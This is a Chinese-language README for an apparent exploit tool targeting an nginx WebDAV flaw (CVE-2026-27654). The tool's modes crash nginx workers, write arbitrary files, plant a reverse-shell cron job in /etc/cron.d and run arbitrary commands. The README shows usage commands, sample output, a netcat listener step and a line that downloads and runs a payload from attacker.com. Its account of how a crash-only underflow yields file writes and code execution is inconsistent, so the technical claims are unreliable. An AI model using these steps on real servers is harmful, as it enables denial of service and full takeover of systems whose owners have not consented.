CVE-2026-27654 – nginx ngx_http_dav_module DAV Alias 路径处理 PoC

本仓库为 CVE‑2026‑27654 提供了一个概念验证（PoC）漏洞利用程序，这是 nginx 的 ngx_http_dav_module 中的一个堆溢出漏洞。该缺陷源于处理带有特制 Destination 标头和基于 alias 的 location 的 MOVE/COPY 请求时发生的 size‑t 下溢。

⚠️ 免责声明： 本工具仅用于经授权的安全研究和测试。请仅对您拥有或已获得明确测试许可的系统使用。作者不对滥用行为承担任何责任。

🔥 漏洞概述

CVE-2026-27654 是 NGINX HTTP WebDAV 模块中一个可远程触发的基于堆的缓冲区溢出，由 ngx_http_dav_copy_move_handler()（src/http/modules/ngx_http_dav_module.c）中的整数下溢所致。该漏洞出现在以下情况：目标 URI 长度是通过从 Destination 标头路径中减去已配置的 location 前缀得出的。由于两个操作数均为 size_t 类型，较短的目标路径会导致减法回绕为一个接近最大值的无符号数值。

回绕后的长度随后被用作 memcpy() 的 size 参数，导致越界堆写入，从而破坏内存并立即导致 NGINX worker 进程崩溃。远程未认证攻击者只需向一个由 alias 映射的 WebDAV location 发送特制的 MOVE 或 COPY 请求，即可可靠地触发此条件。虽然 NGINX master 进程会自动重新生成崩溃的 worker，但重复请求可使服务持续处于 worker 崩溃循环中，造成持久的 拒绝服务（Denial-of-Service, DoS）。

AddressSanitizer (ASan) 通过 memcpy() 中的 negative-size-param 错误验证了该漏洞，并追踪从 ngx_http_dav_copy_move_handler() 到 ngx_http_core_module.c 的执行路径。当使用 --with-http_dav_module 编译并配置了 alias 指令时，该漏洞影响 NGINX 0.5.13–1.28.2（稳定版） 和 1.29.0–1.29.6（主线版）。该问题已在 NGINX 1.28.3 和 1.29.7（提交 ab4b5b8，PR #1210）中通过在执行内存操作前对计算出的目标路径长度进行正确验证而得到修复。

✨ 功能特性

• 交互式模式选择 – 在运行时从四种操作模式（crash、write‑file、cron‑shell、cron‑cmd）中选择，并带有清晰的编号菜单。
• 崩溃触发 – 发送标准的 MOVE/COPY 请求，触发 size‑t 下溢并导致易受攻击的 worker 崩溃。
• 写文件模式 – 将任意内容上传到文件系统中的任意位置（需要具有可写 alias 的实验环境）。
• Cron‑shell 投递 – 将反向 shell 的 cron 任务部署到 /etc/cron.d/，并提供 LHOST/LPORT 的交互式提示和监听启动提醒。
• Cron‑cmd 投递 – 通过 cron 执行自定义命令；既接受交互式输入，也接受 --cron-command 参数。
• 漏洞检测（--check）– 非交互式模式，运行崩溃测试并输出明确的 [VULNERABLE] / [NOT VULNERABLE] 结论，退出码为 0 或 1。
• HTTP 代理支持（--proxy）– 将所有请求通过 HTTP/HTTPS 代理（例如 Burp Suite、mitmproxy）发送，便于调试或检查流量。
• 智能文件处理 – 检查触发器文件是否已存在（通过 HEAD/GET），如果存在则跳过 PUT，避免不必要的上传。
• 灵活的 Payload 选项 – 可通过 --payload-file（二进制）、（字面文本）提供 payload，或使用默认测试内容。

📦 安装

git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt

🚀 使用方法

交互式模式（菜单）

python exploit.py --target 192.168.1.100:8080

您将看到一个编号菜单，并提示您选择一个模式。

漏洞检测（非交互式）

python exploit.py --target 192.168.1.100:8080 --check

这将强制进入 crash 模式，运行漏洞利用程序，并在以代码 0 或 1 退出之前输出 [VULNERABLE] 或 [NOT VULNERABLE]。

使用 HTTP 代理

python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080

所有 HTTP 请求都将通过指定的代理发送（便于使用 Burp 进行调试）。

⚙️ 参数参考

注意： 大多数参数是可选的。如果未提供必需的参数（例如 cron-shell 的 --lhost/--lport），脚本将提示您输入。

🧪 模式详解

1. crash

发送特制的 MOVE（或 COPY）请求，触发 size‑t 下溢。服务器将使 worker 进程崩溃。如果 master 进程配置正确，它将重新生成一个新的 worker。

示例：

python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)

2. write-file

将文件上传到文件系统中的任意位置。仅当 DAV location 由指向可写目录的 alias 支持，并且 Destination 路径被构造为逃逸 DAV 根目录时，此功能才有效。仅限在经授权的实验环境中使用。

示例：

python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)

3. cron-shell

将一个反向 shell 的 cron 任务放入 /etc/cron.d/。
选择此模式后，脚本将提示您输入：

• LHOST – 您的监听 IP
• LPORT – 您的监听端口

然后，脚本会显示 netcat 监听命令，并等待您在监听器运行后按 Enter 键。

示例（预填充）：

python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)

4. cron-cmd

将自定义命令（通过交互方式或 --cron-command 提供）放入 /etc/cron.d/。这对于执行任意系统命令非常有用。

示例（交互式）：

python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted

示例（预填充）：

python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)

📝 示例工作流程（反向 Shell）

$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 3

Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444

[*] Please start your netcat listener in a new terminal:
    nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.

📝 示例工作流程（命令执行）

此示例演示如何使用 cron-cmd 在目标系统上执行命令，而无需监听器。

交互式模式

$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 4

Enter the command to run in cron (--cron-command): id > /tmp/owned

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.

预填充（非交互式）

python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)

脚本将自动使用所提供的 --cron-command 并跳过交互式提示，因此适用于自动化。

🛠️ 构建易受攻击的测试环境

要在受控环境中测试此 PoC，您可以使用 --with-http_dav_module 从源码构建 nginx，并使用 alias 和 dav_methods 配置一个 location。附带一个示例 Docker 配置（即将推出）。

参考资料

• https://nginx.org/en/security_advisories.html
• https://github.com/nginx/nginx/commit/ab4b5b8
• https://github.com/nginx/nginx/pull/1210

📜 许可证

本项目采用 GNU v3.0 许可证授权 – 详细信息请参阅 LICENSE 文件。

🤝 贡献

欢迎提交 issue 和 pull request。请确保您的贡献遵循相同的道德使用准则。

请记住： 在测试任何安全工具之前，务必获得适当的授权。保持道德！